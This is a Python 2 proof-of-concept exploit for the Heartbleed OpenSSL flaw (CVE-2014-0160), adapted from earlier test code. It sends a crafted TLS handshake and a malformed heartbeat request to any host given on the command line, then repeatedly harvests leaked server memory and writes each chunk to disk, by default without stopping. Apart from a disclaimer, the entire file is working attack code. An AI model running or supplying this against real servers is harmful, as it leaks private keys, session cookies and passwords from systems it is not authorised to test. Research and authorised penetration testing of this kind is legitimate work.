#!/usr/bin/env python

# CVE-2014-0160 exploit PoC
# Originally from test code by Jared Stafford (jspenguin@jspenguin.org)
# Adapted by Johan Nestaas (johannestaas@gmail.com)
# Licensed as GPLv2 with permission from Jared Stafford
#
# **************************************************************************
# * Don't use it for malicious purposes. Only use against servers you own. *
# * I'm not responsible for anything you do with it. Obey all local laws.  *
# * For research purposes, and legitimate and legal pen-testing, only.     *
# **************************************************************************

import sys
import struct
import socket
import time
import select
import os

def to_hex(x):
    ''' Convert pretty hex to binary '''
    return x.replace(' ', '').replace('\n', '').decode('hex')

HELLO = to_hex('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

HEARTBEAT = to_hex('''
18 03 02 00 03
01 40 00
''')

def date():
    ''' The date '''
    return time.strftime('%y%m%d')

def epoch():
    ''' Seconds past the epoch '''
    return time.strftime('%s')

def recvall(sock, length, timeout=5):
    ''' Receive `length` bytes from socket `s`. '''
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        if time.time() > endtime:
            return None
        r, w, e = select.select([sock], [], [], timeout)
        if sock in r:
            data = sock.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata or None

def recvmsg(sock):
    ''' Receive a header, then chunk of data. None if unexpected EOF. '''
    hdr = recvall(sock, 5)
    if hdr is None:
        print >>sys.stderr, 'EOF - server closed connection on header'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    payload = recvall(sock, ln, timeout=10)
    if payload is None:
        print >>sys.stderr, 'EOF - server closed connection with payload'
        return None, None, None
    return typ, ver, payload

def dump_payload(payload, d='.'):
    num = 0
    while num == 0 or os.path.isfile(path):
        path = os.path.join(d, '%s.%d' % (epoch(), num))
        num += 1
    with open(path, 'w') as f:
        f.write(payload)
    return path

def recv_payload(s):
    s.send(HEARTBEAT)
    typ, ver, payload = recvmsg(s)
    if typ is None:
        print >>sys.stderr, 'No heartbeat response, not likely vulnerable'
    elif typ == 24:
        if len(payload) > 3:
            return payload
        else:
            print >>sys.stderr, 'Server processed malformed heartbeat.'
    elif typ == 21:
        print >>sys.stderr, 'Server returned error, not likely vulnerable'
    else:
        raise ValueError('unexpected typ: %s' % str(typ))
    return None

def connect(host, port, start_tls=False):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sock.connect((host, port))
    if start_tls:
        start_tls(sock)
    do_hello(sock)
    return sock

def start_tls(sock):
    re = sock.recv(4096)
    sock.send('ehlo starttlstest\n')
    re = sock.recv(1024)
    if not 'STARTTLS' in re:
        print >>sys.stderr, 'STARTTLS not supported'
        sys.exit(0)
    sock.send('starttls\n')
    re = sock.recv(1024)

def do_hello(sock):
    print 'Sending Client Hello...'
    sock.send(HELLO)

    print 'Waiting for Server Hello...'
    while True:
        typ, ver, pay = recvmsg(sock)
        if typ is None:
            break
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    if typ is None:
        print 'Server closed connection without sending Server Hello.'
        sys.exit(0)

if __name__ == '__main__':
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--port', type=int, default=443,
        help='TCP port to target (default: 443)')
    parser.add_argument('-s', '--start-tls', action='store_true',
        default=False, help='Check STARTTLS')
    parser.add_argument('-d', '--dir', default=date(),
        help='dir to dump memory to')
    parser.add_argument('-n', '--num', default=0, type=int,
        help='number of payloads to capture, default 0 (don\'t stop)')
    parser.add_argument('host')
    args = parser.parse_args()

    if not os.path.isdir(args.dir):
        print >>sys.stderr, 'Making %s' % args.dir
        os.mkdir(args.dir)

    num_payloads = 0
    while args.num == 0 or num_payloads < args.num:
        num_payloads += 1
        while True:
            try:
                print 'payload[%d]: Connecting' % num_payloads
                sock = connect(args.host, args.port,
                    start_tls=args.start_tls)
                print 'payload[%d]: heartbeat request...' % num_payloads
                sock.send(HEARTBEAT)
                print 'payload[%d]: getting payload' % num_payloads
                payload = recv_payload(sock)
                if payload is None:
                    raise ValueError('Empty payload')
            except socket.error as e:
                print >>sys.stderr, 'socket error: %s' % str(e)
                time.sleep(1)
                continue
            else:
                break
        path = dump_payload(payload, d=args.dir)
        print 'Dumped to %s' % path
        time.sleep(1)